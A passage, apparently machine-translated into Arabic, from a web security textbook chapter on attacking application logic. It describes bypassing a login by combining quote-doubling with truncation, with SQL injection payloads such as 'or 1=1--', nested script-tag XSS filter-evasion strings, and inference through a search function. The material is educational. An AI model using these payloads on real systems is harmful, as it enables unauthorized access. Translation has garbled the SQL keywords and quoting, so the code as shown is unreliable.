‫ﺃﻥﻣﻀﺎﻋﻔﺔ ﺃﻱ ﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﻣﻔﺮﺩﺓ ﺿﻤﻦ ﺍﻟﻤﺪﺧﻼﺕ ﺍﻟﺘﻲ ﻳﻘﺪﻣﻬﺎ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺳﻴﻤﻨﻊ ﺣﺪﻭﺙ‬
‫ﺃﻱﻫﺠﻤﺎﺕ ﺣﻘﻦ ‪.SQL‬‬

‫ﻃﺒُﻖِّﻣﺤُﺪﺩِّ ﺍﻟﻄﻮﻝ ﻋﻠﻰ ﺟﻤﻴﻊ ﺍﻟﻤﺪُﺧﻼﺕ‪ ،‬ﻟﻀﻤﺎﻥ ﻋﺪﻡ ﺗﺠﺎﻭﺯ ﺃﻱ ﻣﺘُﻐﻴﺮ ﻳﻘُﺪﻣِّﻪ ﺍﻟﻤﺴﺘﺨﺪﻡ ‪128‬‬
‫ﺣﺮﻓﺎً‪.‬ﻭﻗﺪ ﺗﻢ ﺗﺤﻘﻴﻖ ﺫﻟﻚ ﺑﺘﻘﻠﻴﺺ ﺟﻤﻴﻊ ﺍﻟﻤﺘُﻐﻴﺮﺍﺕ ﺇﻟﻰ ‪ 128‬ﺣﺮﻓﺎً‪.‬‬

‫ﺍﻻﻓﺘﺮﺍﺽ‬
‫ﻛﺎﻥﻣﻦ ﺍﻟﻤﻔﺘﺮﺽ ﺃﻥ ﻳﻜﻮﻥ ﻛﻞ ﻣﻦ ﻣﺮﺷﺢ ﺣﻘﻦ ‪ SQL‬ﻭﺗﻘﻠﻴﺺ ﺍﻟﻄﻮﻝ ﺩﻓﺎﻋﺎﺕ ﻣﺮﻏﻮﺑﺔ ﻣﻦ ﻭﺟﻬﺔ‬
‫ﻧﻈﺮﺃﻣﻨﻴﺔ‪ ،‬ﻟﺬﺍ ﻳﺠﺐ ﺗﻄﺒﻴﻖ ﻛﻠﻴﻬﻤﺎ‪.‬‬
‫‪421‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬

‫ﺍﻟﻬﺠﻮﻡ‬
‫ﻳﻌﻤﻞﺩﻓﺎﻉ ﺣﻘﻦ ‪ SQL‬ﻋﻦ ﻃﺮﻳﻖ ﻣﻀﺎﻋﻔﺔ ﺃﻱ ﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﺗﻈﻬﺮ ﺿﻤﻦ ﻣﺪُﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ‪،‬‬
‫ﺑﺤﻴﺚﻳﻜﻮﻥ ﺍﻻﻗﺘﺒﺎﺱ ﺍﻷﻭﻝ ﻓﻲ ﻛﻞ ﺯﻭﺝ ﻣﻦ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ ﺑﻤﺜﺎﺑﺔ ﺣﺮﻑ ﻫﺮﻭﺏ ﻟﻠﺜﺎﻧﻲ‪ .‬ﻣﻊ‬
‫ﺫﻟﻚ‪،‬ﻟﻢ ﻳﻔُﻜﺮ ﺍﻟﻤﻄﻮﺭﻭﻥ ﻓﻲ ﻣﺼﻴﺮ ﺍﻟﻤﺪُﺧﻼﺕ ﺍﻟﻤﻨُﻘﺎّﺓ ﺇﺫﺍ ﺗﻢ ﺗﺴﻠﻴﻤﻬﺎ ﺑﻌﺪ ﺫﻟﻚ ﺇﻟﻰ ﺩﺍﻟﺔ ﺍﻻﺧﺘﺼﺎﺭ‪.‬‬

‫ﺗﺬﻛﺮﻣﺜﺎﻝ ﺣﻘﻦ ‪ SQL‬ﻓﻲ ﺩﺍﻟﺔ ﺗﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ ﻓﻲ ﺍﻟﻔﺼﻞ ‪ .9‬ﻟﻨﻔﺘﺮﺽ ﺃﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﻀﺎﻋﻒ‬
‫ﺃﻱﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﻣﻔﺮﺩﺓ ﻣﻮﺟﻮﺩﺓ ﻓﻲ ﻣﺪﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﺛﻢ ﻳﻔﺮﺽ ﺣﺪﺍً ﺃﻗﺼﻰ ﻟﻄﻮﻝ‬
‫ﺍﻟﺒﻴﺎﻧﺎﺕ‪،‬ﻭﻳﺨﺘﺼﺮﻫﺎ ﺇﻟﻰ ‪ 128‬ﺣﺮﻓﺎً‪ .‬ﺑﺈﺩﺧﺎﻝ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻫﺬﺍ‪:‬‬

‫ﻣﺴﺆﻝ'‪--‬‬

‫ﻳﺆﺩﻱﺍﻵﻥ ﺇﻟﻰ ﺍﻻﺳﺘﻌﻼﻡ ﺍﻟﺘﺎﻟﻲ‪ ،‬ﻭﺍﻟﺬﻱ ﻳﻔﺸﻞ ﻓﻲ ﺗﺠﺎﻭﺯ ﺗﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ‪:‬‬

‫ﺍﺧﺘﺮ* ﻣﻦ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺣﻴﺚ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ = '‪ '--''admin‬ﻭﻛﻠﻤﺔ ﺍﻟﻤﺮﻭﺭ = ''‬

‫ﻭﻣﻊﺫﻟﻚ‪ ،‬ﺇﺫﺍ ﻗﻤﺖ ﺑﺈﺭﺳﺎﻝ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﺘﺎﻟﻲ )ﻳﺤﺘﻮﻱ ﻋﻠﻰ ‪ 127‬ﺣﺮﻓﺎً ﻣﺘﺒﻮﻋﺎً ﺑﻌﻼﻣﺔ‬
‫ﺍﻗﺘﺒﺎﺱﻭﺍﺣﺪﺓ(‪:‬‬
‫ﺁﺁﺁﺁﺁ]‪[...‬ﺁﺁﺁﺁﺁﺁﺁﺁ‬

‫ﻳﻘﻮﻡﺍﻟﺘﻄﺒﻴﻖ ﺃﻭﻻ ًﺑﻤﻀﺎﻋﻔﺔ ﻋﻼﻣﺔ ﺍﻻﻗﺘﺒﺎﺱ ﺍﻟﻤﻔﺮﺩﺓ‪ ،‬ﺛﻢ ﻳﺨﺘﺼﺮ ﺍﻟﺴﻠﺴﻠﺔ ﺇﻟﻰ ‪ 128‬ﺣﺮﻓﺎً‪ ،‬ﻣﻤﺎ‬
‫ﻳﻌﻴﺪﺇﺩﺧﺎﻟﻚ ﺇﻟﻰ ﻗﻴﻤﺘﻪ ﺍﻷﺻﻠﻴﺔ‪ .‬ﻳﺆﺩﻱ ﻫﺬﺍ ﺇﻟﻰ ﺧﻄﺄ ﻓﻲ ﻗﺎﻋﺪﺓ ﺍﻟﺒﻴﺎﻧﺎﺕ‪ ،‬ﻷﻧﻚ ﺃﺩﺧﻠﺖ ﻋﻼﻣﺔ‬
‫ﺍﻗﺘﺒﺎﺱﻣﻔﺮﺩﺓ ﺇﺿﺎﻓﻴﺔ ﻓﻲ ﺍﻻﺳﺘﻌﻼﻡ ﺩﻭﻥ ﺗﺼﺤﻴﺢ ﺍﻟﺒﻨﻴﺔ ﺍﻟﻨﺤﻮﻳﺔ ﺍﻟﻤﺤﻴﻄﺔ‪ .‬ﺇﺫﺍ ﺃﺩﺧﻠﺖ ﺍﻵﻥ ﻛﻠﻤﺔ‬
‫ﺍﻟﻤﺮﻭﺭﺃﻳﻀﺎً‪:‬‬

‫ﺃﻭ‪--1=1‬‬

‫ﻳﻘﻮﻡﺍﻟﺘﻄﺒﻴﻖ ﺑﺈﺟﺮﺍء ﺍﻻﺳﺘﻌﻼﻡ ﺍﻟﺘﺎﻟﻲ‪ ،‬ﻭﺍﻟﺬﻱ ﻳﻨﺠﺢ ﻓﻲ ﺗﺠﺎﻭﺯ ﺗﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ‪:‬‬

‫ﺣﺪﺩ* ﻣﻦ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺣﻴﺚ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ = '‪ ''aaaaaaaa]...[aaaaaaaaaaaa‬ﻭ‬


‫ﻛﻠﻤﺔﺍﻟﻤﺮﻭﺭ = 'ﺃﻭ ‪'--1 = 1‬‬

‫ﺗﻔُﺴﺮَّﻋﻼﻣﺔ ﺍﻻﻗﺘﺒﺎﺱ ﺍﻟﻤﺰﺩﻭﺟﺔ ﻓﻲ ﻧﻬﺎﻳﺔ ﺳﻠﺴﻠﺔ ﺍﻷﺣﺮﻑ ‪ a‬ﻋﻠﻰ ﺃﻧﻬﺎ ﻋﻼﻣﺔ ﺍﻗﺘﺒﺎﺱ ﻣﻔُﻠﺘﺔ‪،‬‬
‫ﻭﺑﺎﻟﺘﺎﻟﻲ‪،‬ﺗﻌُﺘﺒﺮ ﺟﺰءﺍً ﻣﻦ ﺑﻴﺎﻧﺎﺕ ﺍﻻﺳﺘﻌﻼﻡ‪ .‬ﺗﺴﺘﻤﺮ ﻫﺬﻩ ﺍﻟﺴﻠﺴﻠﺔ ﻓﻌﻠﻴﺎً ﺣﺘﻰ ﻋﻼﻣﺔ ﺍﻻﻗﺘﺒﺎﺱ‬
‫ﺍﻟﻤﻔﺮﺩﺓﺍﻟﺘﺎﻟﻴﺔ‪ ،‬ﻭﺍﻟﺘﻲ ﻛﺎﻧﺖ ﺗﺸُﻴﺮ ﻓﻲ ﺍﻻﺳﺘﻌﻼﻡ ﺍﻷﺻﻠﻲ ﺇﻟﻰ ﺑﺪﺍﻳﺔ ﻗﻴﻤﺔ ﻛﻠﻤﺔ ﺍﻟﻤﺮﻭﺭ ﺍﻟﺘﻲ ﺃﺩﺧﻠﻬﺎ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻡ‪.‬ﻭﺑﺎﻟﺘﺎﻟﻲ‪ ،‬ﻓﺈﻥ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻔﻌﻠﻲ ﺍﻟﺬﻱ ﺗﻔﻬﻤﻪ ﻗﺎﻋﺪﺓ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻫﻮ ﺑﻴﺎﻧﺎﺕ‬
‫ﺍﻟﺴﻠﺴﻠﺔﺍﻟﺤﺮﻓﻴﺔ ﺍﻟﻤﻮﺿﺤﺔ ﻫﻨﺎ‪:‬‬

‫ﺁﺁﺁﺁﺁ]‪[...‬ﺁﺁﺁﺁﺁﺁﺁ'ﻭﻛﻠﻤﺔ ﺍﻟﻤﺮﻭﺭ =‬

‫ﻭﻣﻦﺛﻢ‪ ،‬ﻓﺈﻥ ﻛﻞ ﻣﺎ ﻳﺄﺗﻲ ﺑﻌﺪ ﺫﻟﻚ ﻳﺘﻢ ﺗﻔﺴﻴﺮﻩ ﺑﺎﻋﺘﺒﺎﺭﻩ ﺟﺰءﺍً ﻣﻦ ﺍﻻﺳﺘﻌﻼﻡ ﻧﻔﺴﻪ ﻭﻳﻤﻜﻦ‬
‫ﺻﻴﺎﻏﺘﻪﻟﻠﺘﺪﺧﻞ ﻓﻲ ﻣﻨﻄﻖ ﺍﻻﺳﺘﻌﻼﻡ‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬ ‫‪422‬‬

‫ﻧﺼﻴﺤﺔﻳﻤﻜﻨﻚ ﺍﺧﺘﺒﺎﺭ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ ﺩﻭﻥ ﻣﻌﺮﻓﺔ ﺣﺪ ﺍﻟﻄﻮﻝ ﺍﻟﻤﻔﺮﻭﺽ ﻋﻠﻰ ﻭﺟﻪ‬
‫ﺍﻟﺘﺤﺪﻳﺪﻋﻦ ﻃﺮﻳﻖ ﺇﺭﺳﺎﻝ ﺳﻠﺴﻠﺘﻴﻦ ﻃﻮﻳﻠﺘﻴﻦ ﺑﺎﻟﺘﻨﺎﻭﺏ ﻣﻦ ﺍﻟﻨﻤﻮﺫﺝ ﺍﻟﺘﺎﻟﻲ‪:‬‬

‫''''''''''''''''''''''''''''''''''''''''ﻭﻫﻜﺬﺍ ﺩﻭﺍﻟﻴﻚ‬

‫ﺃ''''''''''''''''''''''''''''''''''''''''''''''ﻭﻫﻜﺬﺍ ﺩﻭﺍﻟﻴﻚ‬

‫ﻭﺗﺤﺪﻳﺪﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﻫﻨﺎﻙ ﺧﻄﺄ‪ .‬ﺃﻱ ﺍﻗﺘﻄﺎﻉ ﻟﻠﻤﺪﺧﻼﺕ ﺍﻟﻤﻬُﺮﺑَّﺔ ﺳﻴﺤﺪﺙ ﺑﻌﺪ ﻋﺪﺩ ﺯﻭﺟﻲ ﺃﻭ ﻓﺮﺩﻱ‬
‫ﻣﻦﺍﻷﺣﺮﻑ‪ .‬ﺃﻳﺎً ﻛﺎﻥ ﺍﻻﺣﺘﻤﺎﻝ‪ ،‬ﺳﻴﺆﺩﻱ ﺃﺣﺪ ﺍﻟﺴﻼﺳﻞ ﺍﻟﺴﺎﺑﻘﺔ ﺇﻟﻰ ﺇﺩﺭﺍﺝ ﻋﺪﺩ ﻓﺮﺩﻱ ﻣﻦ ﻋﻼﻣﺎﺕ‬
‫ﺍﻻﻗﺘﺒﺎﺱﺍﻟﻤﻔﺮﺩﺓ ﻓﻲ ﺍﻻﺳﺘﻌﻼﻡ‪ ،‬ﻣﻤﺎ ﻳﻨﺘﺞ ﻋﻨﻪ ﺑﻨﺎء ﺟﻤﻠﺔ ﻏﻴﺮ ﺻﺤﻴﺢ‪.‬‬

‫ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ‬

‫ﺩﻭﻥّﺃﻱ ﺣﺎﻻﺕ ﻳﻌُﺪﻝِّ ﻓﻴﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ ﻣﺪُﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﻻ ﺳﻴﻤﺎ ﻋﻦ ﻃﺮﻳﻖ ﺍﻗﺘﻄﺎﻋﻬﺎ‪ ،‬ﺃﻭ ﺇﺯﺍﻟﺔ‬
‫ﺑﻴﺎﻧﺎﺕﻣﻨﻬﺎ‪ ،‬ﺃﻭ ﺗﺮﻣﻴﺰﻫﺎ‪ ،‬ﺃﻭ ﻓﻚ ﺗﺮﻣﻴﺰﻫﺎ‪ .‬ﻓﻲ ﺃﻱ ﺣﺎﻻﺕ ﻣﻼُﺣﻈﺔ‪ ،‬ﺣﺪﺩِّ ﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ‬
‫ﺍﺧﺘﻼﻕﺳﻠﺴﻠﺔ ﺿﺎﺭﺓ‪:‬‬
‫‪.١‬ﺇﺫﺍ ﺗﻢ ﺗﺠﺮﻳﺪ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻣﺮﺓ ﻭﺍﺣﺪﺓ )ﺑﺸﻜﻞ ﻏﻴﺮ ﻣﺘﻜﺮﺭ(‪ ،‬ﻓﺤﺪﺩ ﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﺑﺈﻣﻜﺎﻧﻚ ﺇﺭﺳﺎﻝ‬
‫ﺳﻠﺴﻠﺔﻧﺼﻴﺔ ﺗﻌُﻮﺽّ ﺫﻟﻚ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺇﺫﺍ ﻗﺎﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺘﺼﻔﻴﺔ ﻛﻠﻤﺎﺕ ‪SQL‬‬
‫ﺍﻟﺮﺉﻴﺴﻴﺔﻣﺜﻞﻳﺨﺘﺎﺭ‪،‬ﻳﻘُﺪﻡِّﺳﻴﻠﻜﺘﻜﺖﻭﺍﻧﻈﺮ ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﺮﺷﻴﺢ ﺍﻟﻨﺎﺗﺞ ﻳﺰﻳﻞ ﺍﻟﺠﺰء ﺍﻟﺪﺍﺧﻠﻲ‬
‫ﻳﺨﺘﺎﺭﺳﻠﺴﻠﺔ ﻓﺮﻋﻴﺔ‪ ،‬ﻣﻊ ﺗﺮﻙ ﺍﻟﻜﻠﻤﺔﻳﺨﺘﺎﺭ‪.‬‬

‫‪.٢‬ﺇﺫﺍ ﺗﻢ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺻﺤﺔ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺑﺘﺮﺗﻴﺐ ﻣﺤﺪﺩ‪ ،‬ﻭﻋﺪﻟّﺖ ﻋﻤﻠﻴﺔ ﺗﺤﻘﻖ ﻭﺍﺣﺪﺓ ﺃﻭ ﺃﻛﺜﺮ‬
‫ﺍﻟﺒﻴﺎﻧﺎﺕ‪،‬ﻓﺤﺪﺩ ﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ ﺫﻟﻚ ﻟﺘﺠﺎﻭﺯ ﺇﺣﺪﻯ ﺧﻄﻮﺍﺕ ﺍﻟﺘﺤﻘﻖ‬
‫ﺍﻟﺴﺎﺑﻘﺔ‪.‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺇﺫﺍ ﻗﺎﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﻔﻚ ﺗﺸﻔﻴﺮ ﻋﻨﺎﻭﻳﻦ ‪ URL‬ﺛﻢ ﺃﺯﺍﻝ ﺑﻴﺎﻧﺎﺕ‬
‫ﺿﺎﺭﺓﻣﺜﻞ >ﻧﺺ<ﺍﻟﻌﻼﻣﺔ‪ ،‬ﻗﺪ ﻳﻜﻮﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺍﻟﺘﻐﻠﺐ ﻋﻠﻰ ﺫﻟﻚ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺳﻼﺳﻞ ﻣﺜﻞ‪:‬‬

‫‪/ script%>script<3e‬‬
‫‪%>script<3cscript%>script<3ealert)1(%>script<3c‬‬

‫ﻣﻠﺤﻮﻇﺔﻏﺎﻟﺒﺎً ﻣﺎ ﺗﻘﻮﻡ ﻣﺮﺷﺤﺎﺕ ﻧﺼﻮﺹ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﻤﺘﻘﺎﻃﻌﺔ ﺑﺈﺯﺍﻟﺔ ﺟﻤﻴﻊ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺘﻲ‬
‫ﺗﺤﺪﺙﺑﻴﻦ ﺃﺯﻭﺍﺝ ﻋﻼﻣﺎﺕ ‪ ،HTML‬ﻣﺜﻞ >‪tag1<aaaaaa>/tag1<.‬ﻏﺎﻟﺒﺎً ﻣﺎ ﺗﻜﻮﻥ ﻫﺬﻩ ﺍﻷﺟﻬﺰﺓ‬
‫ﻋﺮﺿﺔﻟﻬﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﻬﺠﻮﻡ‪.‬‬

‫ﺍﻟﻤﺜﺎﻝ‪ :10‬ﺇﺳﺎءﺓ ﺍﺳﺘﺨﺪﺍﻡ ﻭﻇﻴﻔﺔ ﺍﻟﺒﺤﺚ‬


‫ﻭﺍﺟﻪﺍﻟﻤﺆﻟﻔﻮﻥ ﻫﺬﺍ ﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﻓﻲ ﺗﻄﺒﻴﻖ ﻳﺘﻴﺢ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﺍﻷﺧﺒﺎﺭ ﻭﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﻤﺎﻟﻴﺔ ﻋﺒﺮ‬
‫ﺍﻻﺷﺘﺮﺍﻙ‪.‬ﻭﺟُﺪﺕ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺓ ﻻﺣﻘﺎً ﻓﻲ ﺗﻄﺒﻴﻘﻴﻦ ﻣﻨﻔﺼﻠﻴﻦ ﺗﻤﺎﻣﺎً‪ ،‬ﻣﻤﺎ ﻳﻈُﻬﺮ ﺍﻟﻄﺒﻴﻌﺔ ﺍﻟﺪﻗﻴﻘﺔ‬
‫ﻭﺍﻟﻤﺘﻐﻠﻐﻠﺔﻟﻠﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻌﻴﻮﺏ ﺍﻟﻤﻨﻄﻘﻴﺔ‪.‬‬
‫‪423‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬

‫ﺍﻟﻮﻇﻴﻔﺔ‬
‫ﺃﺗﺎﺡﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﺃﺭﺷﻴﻒ ﺿﺨﻢ ﻣﻦ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﺘﺎﺭﻳﺨﻴﺔ ﻭﺍﻟﺤﺎﻟﻴﺔ‪ ،‬ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﺗﻘﺎﺭﻳﺮ‬
‫ﻭﺣﺴﺎﺑﺎﺕﺍﻟﺸﺮﻛﺎﺕ‪ ،‬ﻭﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺼﺤﻔﻴﺔ‪ ،‬ﻭﺗﺤﻠﻴﻼﺕ ﺍﻟﺴﻮﻕ‪ ،‬ﻭﻣﺎ ﺇﻟﻰ ﺫﻟﻚ‪ .‬ﻭﻛﺎﻧﺖ ﻣﻌﻈﻢ ﻫﺬﻩ‬
‫ﺍﻟﻤﻌﻠﻮﻣﺎﺕﻣﺘﺎﺣﺔ ﻓﻘﻂ ﻟﻠﻤﺸﺘﺮﻛﻴﻦ ﺍﻟﺬﻳﻦ ﻳﺪﻓﻌﻮﻥ ﺍﺷﺘﺮﺍﻛﺎً‪.‬‬

‫ﻭﻓﺮّﺍﻟﺘﻄﺒﻴﻖ ﻭﻇﻴﻔﺔ ﺑﺤﺚ ﻓﻌﺎّﻟﺔ ﻭﺩﻗﻴﻘﺔ ﻳﻤُﻜﻦ ﻟﺠﻤﻴﻊ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻴﻬﺎ‪ .‬ﻋﻨﺪﻣﺎ‬
‫ﻳﺠُﺮﻱﻣﺴﺘﺨﺪﻡ ﻣﺠﻬﻮﻝ ﺍﺳﺘﻌﻼﻣﺎً‪ ،‬ﺗﻌُﻴﺪ ﻭﻇﻴﻔﺔ ﺍﻟﺒﺤﺚ ﺭﻭﺍﺑﻂ ﻟﺠﻤﻴﻊ ﺍﻟﻤﺴﺘﻨﺪﺍﺕ ﺍﻟﻤﻄُﺎﺑﻘﺔ‬
‫ﻟﻼﺳﺘﻌﻼﻡ‪.‬ﻣﻊ ﺫﻟﻚ‪ ،‬ﻛﺎﻥ ﻋﻠﻰ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻻﺷﺘﺮﺍﻙ ﻻﺳﺘﺮﺟﺎﻉ ﺃﻱ ٍّﻣﻦ ﺍﻟﻤﺴﺘﻨﺪﺍﺕ ﺍﻟﻤﺤﻤﻴﺔ ﺍﻟﺘﻲ‬
‫ﺃﻋﺎﺩﻫﺎﺍﺳﺘﻌﻼﻣﻪ‪ .‬ﺍﻋﺘﺒﺮ ﻣﻄُﻮﺭّﻭ ﺍﻟﺘﻄﺒﻴﻖ ﻫﺬﺍ ﺍﻟﺴﻠﻮﻙ ﺗﻜﺘﻴﻜﺎً ﺗﺴﻮﻳﻘﻴﺎً ﻣﺠُﺪﻳﺎً‪.‬‬

‫ﺍﻻﻓﺘﺮﺍﺽ‬
‫ﺍﻓﺘﺮﺽﻣﺼُﻤﻢ ﺍﻟﺘﻄﺒﻴﻖ ﺃﻧﻪ ﻻ ﻳﻤُﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﺳﺘﺨﺪﺍﻡ ﻭﻇﻴﻔﺔ ﺍﻟﺒﺤﺚ ﻻﺳﺘﺨﺮﺍﺝ ﺃﻱ‬
‫ﻣﻌﻠﻮﻣﺎﺕﻣﻔﻴﺪﺓ ﺩﻭﻥ ﺩﻓﻊ ﺭﺳﻮﻡ‪ .‬ﻭﻛﺎﻧﺖ ﻋﻨﺎﻭﻳﻦ ﺍﻟﻤﺴﺘﻨﺪﺍﺕ ﺍﻟﻤﺪُﺭﺟﺔ ﻓﻲ ﻧﺘﺎﺉﺞ ﺍﻟﺒﺤﺚ ﻏﺎﻣﻀﺔ‬
‫ﻋﺎﺩﺓ‪ً،‬ﻣﺜﻞ "ﺍﻟﻨﺘﺎﺉﺞ ﺍﻟﺴﻨﻮﻳﺔ ﻟﻌﺎﻡ ‪ ،"٢٠١٠‬ﻭ"ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ ‪ ،"٢٠١١-٠٣-٠٨‬ﻭﻣﺎ ﺇﻟﻰ ﺫﻟﻚ‪.‬‬

‫ﺍﻟﻬﺠﻮﻡ‬
‫ﻷﻥﻭﻇﻴﻔﺔ ﺍﻟﺒﺤﺚ ﺗﺸُﻴﺮ ﺇﻟﻰ ﻋﺪﺩ ﺍﻟﻤﺴﺘﻨﺪﺍﺕ ﺍﻟﻤﻄُﺎﺑﻘﺔ ﻻﺳﺘﻌﻼﻡ ﻣﻌُﻴﻦ‪ ،‬ﻳﻤُﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻡ‬
‫ﺍﻟﻤﺤُﻨﻚّﺇﺟﺮﺍء ﻋﺪﺩ ﻛﺒﻴﺮ ﻣﻦ ﺍﻻﺳﺘﻌﻼﻣﺎﺕ ﻭﺍﺳﺘﺨﺪﺍﻡ ﺍﻻﺳﺘﺪﻻﻝ ﻻﺳﺘﺨﺮﺍﺝ ﻣﻌﻠﻮﻣﺎﺕ ﻣﻦ ﻭﻇﻴﻔﺔ‬
‫ﺍﻟﺒﺤﺚ‪،‬ﻭﺍﻟﺘﻲ ﻋﺎﺩﺓ ًﻣﺎ ﺗﻜﻮﻥ ﻣﻜُﻠﻔﺔ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻳﻤُﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻻﺳﺘﻌﻼﻣﺎﺕ ﺍﻟﺘﺎﻟﻴﺔ‬
‫ﻟﻠﺘﺮﻛﻴﺰﻋﻠﻰ ﻣﺤﺘﻮﻳﺎﺕ ﻣﺴﺘﻨﺪ ﻣﺤُﻤﻲ ّﻣﺤُﺪﺩ‪:‬‬

‫ﻭﺍﻩﻟﻼﺳﺘﺸﺎﺭﺍﺕ‬
‫< < ‪ 276‬ﻣﺒﺎﺭﺍﺓ‬
‫ﺍﻧﺪﻣﺎﺝﺷﺮﻛﺔ ﻭﺍﻩ ﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ ‪"2011-03-08‬‬
‫< < ‪ 0‬ﻣﺒﺎﺭﺍﺓ‬
‫ﺇﺻﺪﺍﺭﺃﺳﻬﻢ ﺷﺮﻛﺔ ﻭﺍﻩ ﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ ‪"2011-03-08‬‬
‫< < ‪ 0‬ﻣﺒﺎﺭﺍﺓ‬
‫ﻭﺍﻩﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ‪ "2011-03-08‬ﺃﺭﺑﺎﺡ‬
‫< < ‪ 0‬ﻣﺒﺎﺭﺍﺓ‬
‫ﺍﺳﺘﺤﻮﺍﺫﺷﺮﻛﺔ ﻭﺍﻩ ﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ ‪"2011-03-08‬‬
‫< < ‪ 1‬ﻣﺒﺎﺭﺍﺓ‬
‫ﻭﺍﻩﻟﻼﺳﺘﺸﺎﺭﺍﺕ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ‪ "2011-03-08‬ﺍﺳﺘﺤﻮﺍﺫ ﺷﺮﻛﺔ ﻫﺎﻛﺴﻮﺭﺯ‬
‫< < ‪ 0‬ﻣﺒﺎﺭﺍﺓ‬
